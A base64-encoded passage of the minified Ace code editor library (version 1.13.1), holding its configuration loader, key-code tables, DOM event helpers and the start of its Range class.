ikuQXBwQ29uZmlnO24uZXhwb3J0cz10PW5ldyB1O3ZhciBhPXtwYWNrYWdlZDohMSx3b3JrZXJQYXRoOm51bGwsbW9kZVBhdGg6bnVsbCx0aGVtZVBhdGg6bnVsbCxiYXNlUGF0aDoiIixzdWZmaXg6Ii5qcyIsJG1vZHVsZVVybHM6e30sbG9hZFdvcmtlckZyb21CbG9iOiEwLHNoYXJlZFBvcHVwczohMSx1c2VTdHJpY3RDU1A6bnVsbH07dC5nZXQ9ZnVuY3Rpb24oZSl7aWYoIWEuaGFzT3duUHJvcGVydHkoZSkpdGhyb3cgbmV3IEVycm9yKCJVbmtub3duIGNvbmZpZyBrZXk6ICIrZSk7cmV0dXJuIGFbZV19LHQuc2V0PWZ1bmN0aW9uKGUsdCl7aWYoYS5oYXNPd25Qcm9wZXJ0eShlKSlhW2VdPXQ7ZWxzZSBpZih0aGlzLnNldERlZmF1bHRWYWx1ZSgiIixlLHQpPT0wKXRocm93IG5ldyBFcnJvcigiVW5rbm93biBjb25maWcga2V5OiAiK2UpO2U9PSJ1c2VTdHJpY3RDU1AiJiZvLnVzZVN0cmljdENTUCh0KX0sdC5hbGw9ZnVuY3Rpb24oKXtyZXR1cm4gci5jb3B5T2JqZWN0KGEpfSx0LiRtb2Rlcz17fSx0Lm1vZHVsZVVybD1mdW5jdGlvbihlLHQpe2lmKGEuJG1vZHVsZVVybHNbZV0pcmV0dXJuIGEuJG1vZHVsZVVybHNbZV07dmFyIG49ZS5zcGxpdCgiLyIpO3Q9dHx8bltuLmxlbmd0aC0yXXx8IiI7dmFyIHI9dD09InNuaXBwZXRzIj8iLyI6Ii0iLGk9bltuLmxlbmd0aC0xXTtpZih0PT0id29ya2VyIiYmcj09Ii0iKXt2YXIgcz1uZXcgUmVnRXhwKCJeIit0KyJbXFwtX118W1xcLV9dIit0KyIkIiwiZyIpO2k9aS5yZXBsYWNlKHMsIiIpfSghaXx8aT09dCkmJm4ubGVuZ3RoPjEmJihpPW5bbi5sZW5ndGgtMl0pO3ZhciBvPWFbdCsiUGF0aCJdO3JldHVybiBvPT1udWxsP289YS5iYXNlUGF0aDpyPT0iLyImJih0PXI9IiIpLG8mJm8uc2xpY2UoLTEpIT0iLyImJihvKz0iLyIpLG8rdCtyK2krdGhpcy5nZXQoInN1ZmZpeCIpfSx0LnNldE1vZHVsZVVybD1mdW5jdGlvbihlLHQpe3JldHVybiBhLiRtb2R1bGVVcmxzW2VdPXR9O3ZhciBmPWZ1bmN0aW9uKHQsbil7cmV0dXJuIHQ9PSJhY2UvdGhlbWUvdGV4dG1hdGUiP24obnVsbCxlKCIuL3RoZW1lL3RleHRtYXRlIikpOmNvbnNvbGUuZXJyb3IoImxvYWRlciBpcyBub3QgY29uZmlndXJlZCIpfTt0LnNldExvYWRlcj1mdW5jdGlvbihlKXtmPWV9LHQuJGxvYWRpbmc9e30sdC5sb2FkTW9kdWxlPWZ1bmN0aW9uKG4scil7dmFyIGksbztBcnJheS5pc0FycmF5KG4pJiYobz1uWzBdLG49blsxXSk7dHJ5e2k9ZShuKX1jYXRjaCh1KXt9aWYoaSYmIXQuJGxvYWRpbmdbbl0pcmV0dXJuIHImJnIoaSk7dC4kbG9hZGluZ1tuXXx8KHQuJGxvYWRpbmdbbl09W10pLHQuJGxvYWRpbmdbbl0ucHVzaChyKTtpZih0LiRsb2FkaW5nW25dLmxlbmd0aD4xKXJldHVybjt2YXIgYT1mdW5jdGlvbigpe2YobixmdW5jdGlvbihlLHIpe3QuX2VtaXQoImxvYWQubW9kdWxlIix7bmFtZTpuLG1vZHVsZTpyfSk7dmFyIGk9dC4kbG9hZGluZ1tuXTt0LiRsb2FkaW5nW25dPW51bGwsaS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UmJmUocil9KX0pfTtpZighdC5nZXQoInBhY2thZ2VkIikpcmV0dXJuIGEoKTtzLmxvYWRTY3JpcHQodC5tb2R1bGVVcmwobixvKSxhKSxsKCl9O3ZhciBsPWZ1bmN0aW9uKCl7IWEuYmFzZVBhdGgmJiFhLndvcmtlclBhdGgmJiFhLm1vZGVQYXRoJiYhYS50aGVtZVBhdGgmJiFPYmplY3Qua2V5cyhhLiRtb2R1bGVVcmxzKS5sZW5ndGgmJihjb25zb2xlLmVycm9yKCJVbmFibGUgdG8gaW5mZXIgcGF0aCB0byBhY2UgZnJvbSBzY3JpcHQgc3JjLCIsInVzZSBhY2UuY29uZmlnLnNldCgnYmFzZVBhdGgnLCAncGF0aCcpIHRvIGVuYWJsZSBkeW5hbWljIGxvYWRpbmcgb2YgbW9kZXMgYW5kIHRoZW1lcyIsIm9yIHdpdGggd2VicGFjayB1c2UgYWNlL3dlYnBhY2stcmVzb2x2ZXIiKSxsPWZ1bmN0aW9uKCl7fSl9O3QudmVyc2lvbj0iMS4xMy4xIn0pLGRlZmluZSgiYWNlL2xvYWRlcl9idWlsZCIsWyJyZXF1aXJlIiwiZXhwb3J0cyIsIm1vZHVsZSIsImFjZS9saWIvZml4b2xkYnJvd3NlcnMiLCJhY2UvY29uZmlnIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiBzKHQpe2lmKCFpfHwhaS5kb2N1bWVudClyZXR1cm47ci5zZXQoInBhY2thZ2VkIix0fHxlLnBhY2thZ2VkfHxuLnBhY2thZ2VkfHxpLmRlZmluZSYmZGVmaW5lLnBhY2thZ2VkKTt2YXIgcz17fSx1PSIiLGE9ZG9jdW1lbnQuY3VycmVudFNjcmlwdHx8ZG9jdW1lbnQuX2N1cnJlbnRTY3JpcHQsZj1hJiZhLm93bmVyRG9jdW1lbnR8fGRvY3VtZW50LGw9Zi5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0Iik7Zm9yKHZhciBjPTA7YzxsLmxlbmd0aDtjKyspe3ZhciBoPWxbY10scD1oLnNyY3x8aC5nZXRBdHRyaWJ1dGUoInNyYyIpO2lmKCFwKWNvbnRpbnVlO3ZhciBkPWguYXR0cmlidXRlcztmb3IodmFyIHY9MCxtPWQubGVuZ3RoO3Y8bTt2Kyspe3ZhciBnPWRbdl07Zy5uYW1lLmluZGV4T2YoImRhdGEtYWNlLSIpPT09MCYmKHNbbyhnLm5hbWUucmVwbGFjZSgvXmRhdGEtYWNlLS8sIiIpKV09Zy52YWx1ZSl9dmFyIHk9cC5tYXRjaCgvXiguKilcL2FjZShcLVx3Kyk/XC5qcyhcP3wkKS8pO3kmJih1PXlbMV0pfXUmJihzLmJhc2U9cy5iYXNlfHx1LHMucGFja2FnZWQ9ITApLHMuYmFzZVBhdGg9cy5iYXNlLHMud29ya2VyUGF0aD1zLndvcmtlclBhdGh8fHMuYmFzZSxzLm1vZGVQYXRoPXMubW9kZVBhdGh8fHMuYmFzZSxzLnRoZW1lUGF0aD1zLnRoZW1lUGF0aHx8cy5iYXNlLGRlbGV0ZSBzLmJhc2U7Zm9yKHZhciBiIGluIHMpdHlwZW9mIHNbYl0hPSJ1bmRlZmluZWQiJiZyLnNldChiLHNbYl0pfWZ1bmN0aW9uIG8oZSl7cmV0dXJuIGUucmVwbGFjZSgvLSguKS9nLGZ1bmN0aW9uKGUsdCl7cmV0dXJuIHQudG9VcHBlckNhc2UoKX0pfWUoIi4vbGliL2ZpeG9sZGJyb3dzZXJzIik7dmFyIHI9ZSgiLi9jb25maWciKTtyLnNldExvYWRlcihmdW5jdGlvbih0LG4pe2UoW3RdLGZ1bmN0aW9uKGUpe24obnVsbCxlKX0pfSk7dmFyIGk9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpc3x8dHlwZW9mIHdpbmRvdyE9InVuZGVmaW5lZCImJndpbmRvd30oKTtuLmV4cG9ydHM9ZnVuY3Rpb24odCl7ci5pbml0PXMsdC5yZXF1aXJlPWUsdHlwZW9mIGRlZmluZT09ImZ1bmN0aW9uIiYmKHQuZGVmaW5lPWRlZmluZSl9fSksZGVmaW5lKCJhY2UvbGliL2tleXMiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL29vcCJdLGZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7dmFyIHI9ZSgiLi9vb3AiKSxpPWZ1bmN0aW9uKCl7dmFyIGU9e01PRElGSUVSX0tFWVM6ezE2OiJTaGlmdCIsMTc6IkN0cmwiLDE4OiJBbHQiLDIyNDoiTWV0YSIsOTE6Ik1ldGFMZWZ0Iiw5MjoiTWV0YVJpZ2h0Iiw5MzoiQ29udGV4dE1lbnUifSxLRVlfTU9EUzp7Y3RybDoxLGFsdDoyLG9wdGlvbjoyLHNoaWZ0OjQsInN1cGVyIjo4LG1ldGE6OCxjb21tYW5kOjgsY21kOjgsY29udHJvbDoxfSxGVU5DVElPTl9LRVlTOns4OiJCYWNrc3BhY2UiLDk6IlRhYiIsMTM6IlJldHVybiIsMTk6IlBhdXNlIiwyNzoiRXNjIiwzMjoiU3BhY2UiLDMzOiJQYWdlVXAiLDM0OiJQYWdlRG93biIsMzU6IkVuZCIsMzY6IkhvbWUiLDM3OiJMZWZ0IiwzODoiVXAiLDM5OiJSaWdodCIsNDA6IkRvd24iLDQ0OiJQcmludCIsNDU6Ikluc2VydCIsNDY6IkRlbGV0ZSIsOTY6Ik51bXBhZDAiLDk3OiJOdW1wYWQxIiw5ODoiTnVtcGFkMiIsOTk6Ik51bXBhZDMiLDEwMDoiTnVtcGFkNCIsMTAxOiJOdW1wYWQ1IiwxMDI6Ik51bXBhZDYiLDEwMzoiTnVtcGFkNyIsMTA0OiJOdW1wYWQ4IiwxMDU6Ik51bXBhZDkiLCItMTMiOiJOdW1wYWRFbnRlciIsMTEyOiJGMSIsMTEzOiJGMiIsMTE0OiJGMyIsMTE1OiJGNCIsMTE2OiJGNSIsMTE3OiJGNiIsMTE4OiJGNyIsMTE5OiJGOCIsMTIwOiJGOSIsMTIxOiJGMTAiLDEyMjoiRjExIiwxMjM6IkYxMiIsMTQ0OiJOdW1sb2NrIiwxNDU6IlNjcm9sbGxvY2sifSxQUklOVEFCTEVfS0VZUzp7MzI6IiAiLDQ4OiIwIiw0OToiMSIsNTA6IjIiLDUxOiIzIiw1MjoiNCIsNTM6IjUiLDU0OiI2Iiw1NToiNyIsNTY6IjgiLDU3OiI5Iiw1OToiOyIsNjE6Ij0iLDY1OiJhIiw2NjoiYiIsNjc6ImMiLDY4OiJkIiw2OToiZSIsNzA6ImYiLDcxOiJnIiw3MjoiaCIsNzM6ImkiLDc0OiJqIiw3NToiayIsNzY6ImwiLDc3OiJtIiw3ODoibiIsNzk6Im8iLDgwOiJwIiw4MToicSIsODI6InIiLDgzOiJzIiw4NDoidCIsODU6InUiLDg2OiJ2Iiw4NzoidyIsODg6IngiLDg5OiJ5Iiw5MDoieiIsMTA3OiIrIiwxMDk6Ii0iLDExMDoiLiIsMTg2OiI7IiwxODc6Ij0iLDE4ODoiLCIsMTg5OiItIiwxOTA6Ii4iLDE5MToiLyIsMTkyOiJgIiwyMTk6IlsiLDIyMDoiXFwiLDIyMToiXSIsMjIyOiInIiwxMTE6Ii8iLDEwNjoiKiJ9fTtlLlBSSU5UQUJMRV9LRVlTWzE3M109Ii0iO3ZhciB0LG47Zm9yKG4gaW4gZS5GVU5DVElPTl9LRVlTKXQ9ZS5GVU5DVElPTl9LRVlTW25dLnRvTG93ZXJDYXNlKCksZVt0XT1wYXJzZUludChuLDEwKTtmb3IobiBpbiBlLlBSSU5UQUJMRV9LRVlTKXQ9ZS5QUklOVEFCTEVfS0VZU1tuXS50b0xvd2VyQ2FzZSgpLGVbdF09cGFyc2VJbnQobiwxMCk7cmV0dXJuIHIubWl4aW4oZSxlLk1PRElGSUVSX0tFWVMpLHIubWl4aW4oZSxlLlBSSU5UQUJMRV9LRVlTKSxyLm1peGluKGUsZS5GVU5DVElPTl9LRVlTKSxlLmVudGVyPWVbInJldHVybiJdLGUuZXNjYXBlPWUuZXNjLGUuZGVsPWVbImRlbGV0ZSJdLGZ1bmN0aW9uKCl7dmFyIHQ9WyJjbWQiLCJjdHJsIiwiYWx0Iiwic2hpZnQiXTtmb3IodmFyIG49TWF0aC5wb3coMix0Lmxlbmd0aCk7bi0tOyllLktFWV9NT0RTW25dPXQuZmlsdGVyKGZ1bmN0aW9uKHQpe3JldHVybiBuJmUuS0VZX01PRFNbdF19KS5qb2luKCItIikrIi0ifSgpLGUuS0VZX01PRFNbMF09IiIsZS5LRVlfTU9EU1stMV09ImlucHV0LSIsZX0oKTtyLm1peGluKHQsaSksdC5rZXlDb2RlVG9TdHJpbmc9ZnVuY3Rpb24oZSl7dmFyIHQ9aVtlXTtyZXR1cm4gdHlwZW9mIHQhPSJzdHJpbmciJiYodD1TdHJpbmcuZnJvbUNoYXJDb2RlKGUpKSx0LnRvTG93ZXJDYXNlKCl9fSksZGVmaW5lKCJhY2UvbGliL2V2ZW50IixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2xpYi9rZXlzIiwiYWNlL2xpYi91c2VyYWdlbnQiXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIGEoKXt1PSExO3RyeXtkb2N1bWVudC5jcmVhdGVDb21tZW50KCIiKS5hZGRFdmVudExpc3RlbmVyKCJ0ZXN0IixmdW5jdGlvbigpe30se2dldCBwYXNzaXZlKCl7dT17cGFzc2l2ZTohMX19fSl9Y2F0Y2goZSl7fX1mdW5jdGlvbiBmKCl7cmV0dXJuIHU9PXVuZGVmaW5lZCYmYSgpLHV9ZnVuY3Rpb24gbChlLHQsbil7dGhpcy5lbGVtPWUsdGhpcy50eXBlPXQsdGhpcy5jYWxsYmFjaz1ufWZ1bmN0aW9uIGQoZSx0LG4pe3ZhciB1PXAodCk7aWYoIWkuaXNNYWMmJnMpe3QuZ2V0TW9kaWZpZXJTdGF0ZSYmKHQuZ2V0TW9kaWZpZXJTdGF0ZSgiT1MiKXx8dC5nZXRNb2RpZmllclN0YXRlKCJXaW4iKSkmJih1fD04KTtpZihzLmFsdEdyKXtpZigoMyZ1KT09MylyZXR1cm47cy5hbHRHcj0wfWlmKG49PT0xOHx8bj09PTE3KXt2YXIgYT0ibG9jYXRpb24iaW4gdD90LmxvY2F0aW9uOnQua2V5TG9jYXRpb247aWYobj09PTE3JiZhPT09MSlzW25dPT0xJiYobz10LnRpbWVTdGFtcCk7ZWxzZSBpZihuPT09MTgmJnU9PT0zJiZhPT09Mil7dmFyIGY9dC50aW1lU3RhbXAtbztmPDUwJiYocy5hbHRHcj0hMCl9fX1uIGluIHIuTU9ESUZJRVJfS0VZUyYmKG49LTEpO2lmKCF1JiZuPT09MTMpe3ZhciBhPSJsb2NhdGlvbiJpbiB0P3QubG9jYXRpb246dC5rZXlMb2NhdGlvbjtpZihhPT09Myl7ZSh0LHUsLW4pO2lmKHQuZGVmYXVsdFByZXZlbnRlZClyZXR1cm59fWlmKGkuaXNDaHJvbWVPUyYmdSY4KXtlKHQsdSxuKTtpZih0LmRlZmF1bHRQcmV2ZW50ZWQpcmV0dXJuO3UmPS05fXJldHVybiEhdXx8biBpbiByLkZVTkNUSU9OX0tFWVN8fG4gaW4gci5QUklOVEFCTEVfS0VZUz9lKHQsdSxuKTohMX1mdW5jdGlvbiB2KCl7cz1PYmplY3QuY3JlYXRlKG51bGwpfXZhciByPWUoIi4va2V5cyIpLGk9ZSgiLi91c2VyYWdlbnQiKSxzPW51bGwsbz0wLHU7bC5wcm90b3R5cGUuZGVzdHJveT1mdW5jdGlvbigpe2godGhpcy5lbGVtLHRoaXMudHlwZSx0aGlzLmNhbGxiYWNrKSx0aGlzLmVsZW09dGhpcy50eXBlPXRoaXMuY2FsbGJhY2s9dW5kZWZpbmVkfTt2YXIgYz10LmFkZExpc3RlbmVyPWZ1bmN0aW9uKGUsdCxuLHIpe2UuYWRkRXZlbnRMaXN0ZW5lcih0LG4sZigpKSxyJiZyLiR0b0Rlc3Ryb3kucHVzaChuZXcgbChlLHQsbikpfSxoPXQucmVtb3ZlTGlzdGVuZXI9ZnVuY3Rpb24oZSx0LG4pe2UucmVtb3ZlRXZlbnRMaXN0ZW5lcih0LG4sZigpKX07dC5zdG9wRXZlbnQ9ZnVuY3Rpb24oZSl7cmV0dXJuIHQuc3RvcFByb3BhZ2F0aW9uKGUpLHQucHJldmVudERlZmF1bHQoZSksITF9LHQuc3RvcFByb3BhZ2F0aW9uPWZ1bmN0aW9uKGUpe2Uuc3RvcFByb3BhZ2F0aW9uJiZlLnN0b3BQcm9wYWdhdGlvbigpfSx0LnByZXZlbnREZWZhdWx0PWZ1bmN0aW9uKGUpe2UucHJldmVudERlZmF1bHQmJmUucHJldmVudERlZmF1bHQoKX0sdC5nZXRCdXR0b249ZnVuY3Rpb24oZSl7cmV0dXJuIGUudHlwZT09ImRibGNsaWNrIj8wOmUudHlwZT09ImNvbnRleHRtZW51Inx8aS5pc01hYyYmZS5jdHJsS2V5JiYhZS5hbHRLZXkmJiFlLnNoaWZ0S2V5PzI6ZS5idXR0b259LHQuY2FwdHVyZT1mdW5jdGlvbihlLHQsbil7ZnVuY3Rpb24gaShlKXt0JiZ0KGUpLG4mJm4oZSksaChyLCJtb3VzZW1vdmUiLHQpLGgociwibW91c2V1cCIsaSksaChyLCJkcmFnc3RhcnQiLGkpfXZhciByPWUmJmUub3duZXJEb2N1bWVudHx8ZG9jdW1lbnQ7cmV0dXJuIGMociwibW91c2Vtb3ZlIix0KSxjKHIsIm1vdXNldXAiLGkpLGMociwiZHJhZ3N0YXJ0IixpKSxpfSx0LmFkZE1vdXNlV2hlZWxMaXN0ZW5lcj1mdW5jdGlvbihlLHQsbil7YyhlLCJ3aGVlbCIsZnVuY3Rpb24oZSl7dmFyIG49LjE1LHI9ZS5kZWx0YVh8fDAsaT1lLmRlbHRhWXx8MDtzd2l0Y2goZS5kZWx0YU1vZGUpe2Nhc2UgZS5ET01fREVMVEFfUElYRUw6ZS53aGVlbFg9cipuLGUud2hlZWxZPWkqbjticmVhaztjYXNlIGUuRE9NX0RFTFRBX0xJTkU6dmFyIHM9MTU7ZS53aGVlbFg9cipzLGUud2hlZWxZPWkqczticmVhaztjYXNlIGUuRE9NX0RFTFRBX1BBR0U6dmFyIG89MTUwO2Uud2hlZWxYPXIqbyxlLndoZWVsWT1pKm99dChlKX0sbil9LHQuYWRkTXVsdGlNb3VzZURvd25MaXN0ZW5lcj1mdW5jdGlvbihlLG4scixzLG8pe2Z1bmN0aW9uIHAoZSl7dC5nZXRCdXR0b24oZSkhPT0wP3U9MDplLmRldGFpbD4xPyh1KyssdT40JiYodT0xKSk6dT0xO2lmKGkuaXNJRSl7dmFyIG89TWF0aC5hYnMoZS5jbGllbnRYLWEpPjV8fE1hdGguYWJzKGUuY2xpZW50WS1mKT41O2lmKCFsfHxvKXU9MTtsJiZjbGVhclRpbWVvdXQobCksbD1zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7bD1udWxsfSxuW3UtMV18fDYwMCksdT09MSYmKGE9ZS5jbGllbnRYLGY9ZS5jbGllbnRZKX1lLl9jbGlja3M9dSxyW3NdKCJtb3VzZWRvd24iLGUpO2lmKHU+NCl1PTA7ZWxzZSBpZih1PjEpcmV0dXJuIHJbc10oaFt1XSxlKX12YXIgdT0wLGEsZixsLGg9ezI6ImRibGNsaWNrIiwzOiJ0cmlwbGVjbGljayIsNDoicXVhZGNsaWNrIn07QXJyYXkuaXNBcnJheShlKXx8KGU9W2VdKSxlLmZvckVhY2goZnVuY3Rpb24oZSl7YyhlLCJtb3VzZWRvd24iLHAsbyl9KX07dmFyIHA9ZnVuY3Rpb24oZSl7cmV0dXJuIDB8KGUuY3RybEtleT8xOjApfChlLmFsdEtleT8yOjApfChlLnNoaWZ0S2V5PzQ6MCl8KGUubWV0YUtleT84OjApfTt0LmdldE1vZGlmaWVyU3RyaW5nPWZ1bmN0aW9uKGUpe3JldHVybiByLktFWV9NT0RTW3AoZSldfSx0LmFkZENvbW1hbmRLZXlMaXN0ZW5lcj1mdW5jdGlvbihlLG4scil7aWYoaS5pc09sZEdlY2tvfHxpLmlzT3BlcmEmJiEoIktleWJvYXJkRXZlbnQiaW4gd2luZG93KSl7dmFyIG89bnVsbDtjKGUsImtleWRvd24iLGZ1bmN0aW9uKGUpe289ZS5rZXlDb2RlfSxyKSxjKGUsImtleXByZXNzIixmdW5jdGlvbihlKXtyZXR1cm4gZChuLGUsbyl9LHIpfWVsc2V7dmFyIHU9bnVsbDtjKGUsImtleWRvd24iLGZ1bmN0aW9uKGUpe3NbZS5rZXlDb2RlXT0oc1tlLmtleUNvZGVdfHwwKSsxO3ZhciB0PWQobixlLGUua2V5Q29kZSk7cmV0dXJuIHU9ZS5kZWZhdWx0UHJldmVudGVkLHR9LHIpLGMoZSwia2V5cHJlc3MiLGZ1bmN0aW9uKGUpe3UmJihlLmN0cmxLZXl8fGUuYWx0S2V5fHxlLnNoaWZ0S2V5fHxlLm1ldGFLZXkpJiYodC5zdG9wRXZlbnQoZSksdT1udWxsKX0sciksYyhlLCJrZXl1cCIsZnVuY3Rpb24oZSl7c1tlLmtleUNvZGVdPW51bGx9LHIpLHN8fCh2KCksYyh3aW5kb3csImZvY3VzIix2KSl9fTtpZih0eXBlb2Ygd2luZG93PT0ib2JqZWN0IiYmd2luZG93LnBvc3RNZXNzYWdlJiYhaS5pc09sZElFKXt2YXIgbT0xO3QubmV4dFRpY2s9ZnVuY3Rpb24oZSxuKXtuPW58fHdpbmRvdzt2YXIgcj0iemVyby10aW1lb3V0LW1lc3NhZ2UtIittKyssaT1mdW5jdGlvbihzKXtzLmRhdGE9PXImJih0LnN0b3BQcm9wYWdhdGlvbihzKSxoKG4sIm1lc3NhZ2UiLGkpLGUoKSl9O2MobiwibWVzc2FnZSIsaSksbi5wb3N0TWVzc2FnZShyLCIqIil9fXQuJGlkbGVCbG9ja2VkPSExLHQub25JZGxlPWZ1bmN0aW9uKGUsbil7cmV0dXJuIHNldFRpbWVvdXQoZnVuY3Rpb24gcigpe3QuJGlkbGVCbG9ja2VkP3NldFRpbWVvdXQociwxMDApOmUoKX0sbil9LHQuJGlkbGVCbG9ja0lkPW51bGwsdC5ibG9ja0lkbGU9ZnVuY3Rpb24oZSl7dC4kaWRsZUJsb2NrSWQmJmNsZWFyVGltZW91dCh0LiRpZGxlQmxvY2tJZCksdC4kaWRsZUJsb2NrZWQ9ITAsdC4kaWRsZUJsb2NrSWQ9c2V0VGltZW91dChmdW5jdGlvbigpe3QuJGlkbGVCbG9ja2VkPSExfSxlfHwxMDApfSx0Lm5leHRGcmFtZT10eXBlb2Ygd2luZG93PT0ib2JqZWN0IiYmKHdpbmRvdy5yZXF1ZXN0QW5pbWF0aW9uRnJhbWV8fHdpbmRvdy5tb3pSZXF1ZXN0QW5pbWF0aW9uRnJhbWV8fHdpbmRvdy53ZWJraXRSZXF1ZXN0QW5pbWF0aW9uRnJhbWV8fHdpbmRvdy5tc1JlcXVlc3RBbmltYXRpb25GcmFtZXx8d2luZG93Lm9SZXF1ZXN0QW5pbWF0aW9uRnJhbWUpLHQubmV4dEZyYW1lP3QubmV4dEZyYW1lPXQubmV4dEZyYW1lLmJpbmQod2luZG93KTp0Lm5leHRGcmFtZT1mdW5jdGlvbihlKXtzZXRUaW1lb3V0KGUsMTcpfX0pLGRlZmluZSgiYWNlL3JhbmdlIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1mdW5jdGlvbihlLHQpe3JldHVybiBlLnJvdy10LnJvd3x8ZS5jb2x1bW4tdC5jb2x1bW59LGk9ZnVuY3Rpb24oZSx0LG4scil7dGhpcy5zdGFydD17cm93OmUsY29sdW1uOnR9LHRoaXMuZW5kPXtyb3c6bixjb2x1bW46cn19OyhmdW5jdGlvbigpe3RoaXMuaXNFcXVhbD1mdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5zdGFydC5yb3c9PT1lLnN0YXJ0LnJvdyYmdGhpcy5lbmQucm93PT09ZS5lbmQucm93JiZ0aGlzLnN0YXJ0LmNvbHVtbj09PWUuc3RhcnQuY29sdW1uJiZ0aGlzLmVuZC5jb2x1bW49PT1lLmVuZC5jb2x1bW59LHRoaXMudG9TdHJpbmc9ZnVuY3Rpb24oKXtyZXR1cm4iUmFuZ2U6IFsiK3RoaXMuc3RhcnQucm93KyIvIit0aGlzLnN0YXJ0LmNvbHVtbisiXSAtPiBbIit0aGlzLmVuZC5yb3crIi8iK3RoaXMuZW5kLmNvbHVtbisiXSJ9LHRoaXMuY29udGFpbnM9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy5jb21wYXJlKGUsdCk9PTB9LHRoaXMuY29tcGFyZVJhbmdlPWZ1bmN0aW9uKGUpe3ZhciB0LG49ZS5lbmQscj1lLnN0YXJ0O3JldHVybiB0PXRoaXMuY29tcGFyZShuLnJvdyxuLmNvbHVtbiksdD09MT8odD10aGlzLmNvbXBhcmUoci5yb3csci5jb2x1bW4pLHQ9PTE/Mjp0PT0wPzE6MCk6dD09LTE/LTI6KHQ9dGhpcy5jb21wYXJlKHIucm93LHIuY29sdW1uKSx0PT0tMT8tMTp0PT0xPzQyOjApfSx0aGlzLmNvbXBhcmVQb2ludD1mdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5jb21wYXJlKGUucm93LGUuY29sdW1uKX0sdGhpcy5jb250YWluc1JhbmdlPWZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmNvbXBhcmVQb2ludChlLnN0YXJ0KT09MCYmdGhpcy5jb21wYXJlUG9pbnQoZS5lbmQpPT0wfSx0aGlzLmludGVyc2VjdHM9ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5jb21wYXJlUmFuZ2UoZSk7cmV0dXJuIHQ9PS0xfHx0PT0wfHx0PT0xfSx0aGlzLmlzRW5kPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMuZW5kLnJvdz09ZSYmdGhpcy5lbmQuY29sdW1uPT10fSx0aGlzLmlzU3RhcnQ9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy5zdGFydC5yb3c9PWUmJnRoaXMuc3RhcnQuY29sdW1uPT10fSx0aGlzLnNldFN0YXJ0PWZ1bmN0aW9uKGUsdCl7dHlwZW9mIGU9PSJvYmplY3QiPyh0aGlzLnN0YXJ0LmNvbHVtbj1lLmNvbHVtbix0aGlzLnN0YXJ0LnJvdz1lLnJvdyk6KHRoaXMuc3RhcnQucm93PWUsdGhpcy5zdGFydC5jb2x1bW49dCl9LHRoaXMuc2V0RW5kPWZ1bmN0aW9uKGUsdCl7dHlwZW9mIGU9PSJvYmplY3QiPyh0aGlzLmVuZC5jb2x1bW49ZS5jb2x1bW4sdGhpcy5lbmQucm93PWUucm93KToodGhpcy5lbmQucm93PWUsdGhpcy5lbmQuY29sdW1uPXQpfSx0aGlzLmluc2lkZT1mdW5jdGlvbihlLHQpe3JldHVybiB0aGlzLmNvbXBhcmUoZSx0KT09MD90aGlzLmlzRW5kKGUsdCl8fHRoaXMuaXNTdGFydChlLHQpPyExOiEwOiExfSx0aGlzLmluc2lkZVN0YXJ0PWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMuY29tcGFyZShlLHQpPT0wP3RoaXMuaXNFbmQoZSx0KT8hMTohMDohMX0sdGhpcy5pbnNpZGVFbmQ9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy5jb21wYXJlKGUsdCk9PTA/dGhpcy5pc1N0YXJ0KGUsdCk/ITE6ITA6ITF9LHRoaXMuY29tcGFyZT1mdW5jdGlvbihlLHQpe3JldHVybiF0aGlzLmlzTXVsdGlMaW5lKCkmJmU9PT10aGlzLnN0YXJ0LnJvdz90PHRoaXMuc3RhcnQuY29sdW1uPy0xOnQ+dGhpcy5lbmQuY29sdW1uPzE6MDplPHRoaXMuc3RhcnQucm93Py0xOmU+dGhpcy5lbmQucm93PzE6dGhpcy5zdGFydC5yb3c9PT1lP3Q+PXRoaXMuc3RhcnQuY29sdW1uPzA6LTE6dGhpcy5lbmQucm93PT09ZT90PD10aGlzLmVuZC5jb2x1bW4/MDoxOjB9LHRoaXMuY29tcGFyZVN0YXJ0PWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMuc3RhcnQucm93PT1lJiZ0aGlzLnN0YXJ0LmNvbHVtbj09dD8tMTp0aGlzLmNvbXBhcmUoZSx0KX0sdGhpcy5jb21wYXJlRW5kPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMuZW5kLnJvdz09ZSYmdGhpcy5lbmQuY29sdW1uPT10PzE6dGhpcy5jb21wYXJlKGUsdCl9LHRoaXMuY29tcGFyZUluc2lkZT1mdW5jdGlvbihlLHQpe3JldHVybiB0aGlzLmVuZC5yb3c9PWUmJnRoaXMuZW5kLmNvbHVtbj09dD8xOnRoaXMuc3RhcnQucm93PT1lJiZ0aGlzLnN0YXJ0LmNvbHVtbj09dD8tMTp0aGlzLmNvbXBhcmUoZSx0KX0sdGhpcy5jbGlwUm93cz1mdW5jdGlvbihlLHQpe2lmKHRoaXMuZW5kLnJvdz50KXZhciBuPXtyb3c6dCsxLGNvbHVtbjowfTtlbHNlIGlmKHRoaXMuZW5kLnJvdzxlKXZhciBuPXtyb3c6ZSxjb2x1bW46MH07aWYodGhpcy5zdGFydC5yb3c+dCl2YXIgcj17cm93OnQrMSxjb2x1bW46MH07ZWxzZSBpZih0aGlzLnN0YXJ0LnJvdzxlKXZhciByPXtyb3c6ZSxjb2x1bW46MH07cmV0dXJuIGkuZnJvbVB